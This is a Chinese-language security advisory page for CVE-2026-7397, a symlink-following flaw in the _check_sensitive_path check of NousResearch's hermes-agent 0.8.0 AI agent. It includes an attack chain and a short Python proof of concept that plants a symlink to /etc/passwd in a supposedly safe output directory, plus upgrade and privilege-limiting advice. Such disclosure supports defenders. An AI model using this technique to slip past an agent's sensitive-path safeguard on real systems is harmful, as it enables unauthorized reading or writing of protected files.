IPBUF安全漏洞报告
English
CVE-2026-7397 CVSS 4.4 中危

CVE-2026-7397 hermes-agent符号链接跟随漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-7397
漏洞类型
符号链接跟随
CVSS评分
4.4 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NousResearch hermes-agent

相关标签

符号链接跟随hermes-agent本地漏洞NousResearch

漏洞概述

NousResearch hermes-agent 0.8.0版本存在安全漏洞。该漏洞源于文件tools/file_tools.py中的_check_sensitive_path函数未能正确处理符号链接,导致符号链接跟随攻击。攻击者需具备本地低权限账号,利用此漏洞可绕过路径限制,进而影响系统完整性和可用性。目前官方已发布0.9.0版本修复此问题,建议受影响用户尽快升级。

技术细节

该漏洞位于NousResearch hermes-agent项目的tools/file_tools.py脚本中的_check_sensitive_path函数。该函数的主要职责是验证并限制对敏感文件路径的访问,防止关键数据被篡改。然而,在实现过程中,该函数未能正确解析或验证文件路径中的符号链接,导致存在逻辑缺陷。攻击者仅需具备本地低权限账户(PR:L),即可利用该漏洞。具体的利用方式是创建一个恶意的符号链接,将其指向系统受保护的文件或目录。由于_check_sensitive_path没有正确展开符号链接进行校验,攻击者可以欺骗程序,使其误以为正在访问安全路径,实际上却访问了攻击者指定的位置。这种符号链接跟随攻击可能导致意外的文件读取或写入,从而破坏系统的完整性(I:L)和可用性(A:L)。虽然机密性未受直接影响,但该漏洞为本地攻击者提供了绕过文件系统访问控制的途径。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统本地低权限用户访问权限。
STEP 2
步骤2
在允许hermes-agent操作的目录下,创建指向敏感系统文件(如/etc/passwd或关键配置文件)的恶意符号链接。
STEP 3
步骤3
等待或触发hermes-agent处理该目录下的文件,调用存在漏洞的_check_sensitive_path函数。
STEP 4
步骤4
应用程序未能正确识别符号链接,跟随链接对敏感文件进行读写操作,导致系统完整性或可用性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os # PoC for CVE-2026-7397: Symlink Following in hermes-agent # The vulnerability allows a local low-privileged user to bypass # the _check_sensitive_path check via a symlink. def exploit(): # Assume the agent is configured to write logs or data to a 'safe' directory safe_dir = "/tmp/hermes_safe_output" os.makedirs(safe_dir, exist_ok=True) # Target a sensitive system file (e.g., a critical config or script) sensitive_target = "/etc/passwd" # Create a malicious symlink inside the 'safe' directory # The name looks innocent, but points outside the restricted scope malicious_link_path = os.path.join(safe_dir, "output_log.txt") try: os.symlink(sensitive_target, malicious_link_path) print(f"[+] Symlink created: {malicious_link_path} -> {sensitive_target}") # Simulate the vulnerable function call # The application checks the path 'output_log.txt' against allowed paths. # Due to the flaw, it follows the link to /etc/passwd. print(f"[*] Triggering vulnerable file operation...") with open(malicious_link_path, 'r') as f: # This demonstrates read access; write access (I:L) is also possible content = f.read() print("[!] Successfully read sensitive file content via symlink.") except Exception as e: print(f"[-] Exploit failed: {e}") finally: # Cleanup if os.path.islink(malicious_link_path): os.remove(malicious_link_path) if __name__ == "__main__": exploit()

影响范围

NousResearch hermes-agent 0.8.0

防御指南

临时缓解措施
如果不能立即升级,应严格限制hermes-agent的运行权限,避免以高权限用户运行,并限制其对非必要目录的读写访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表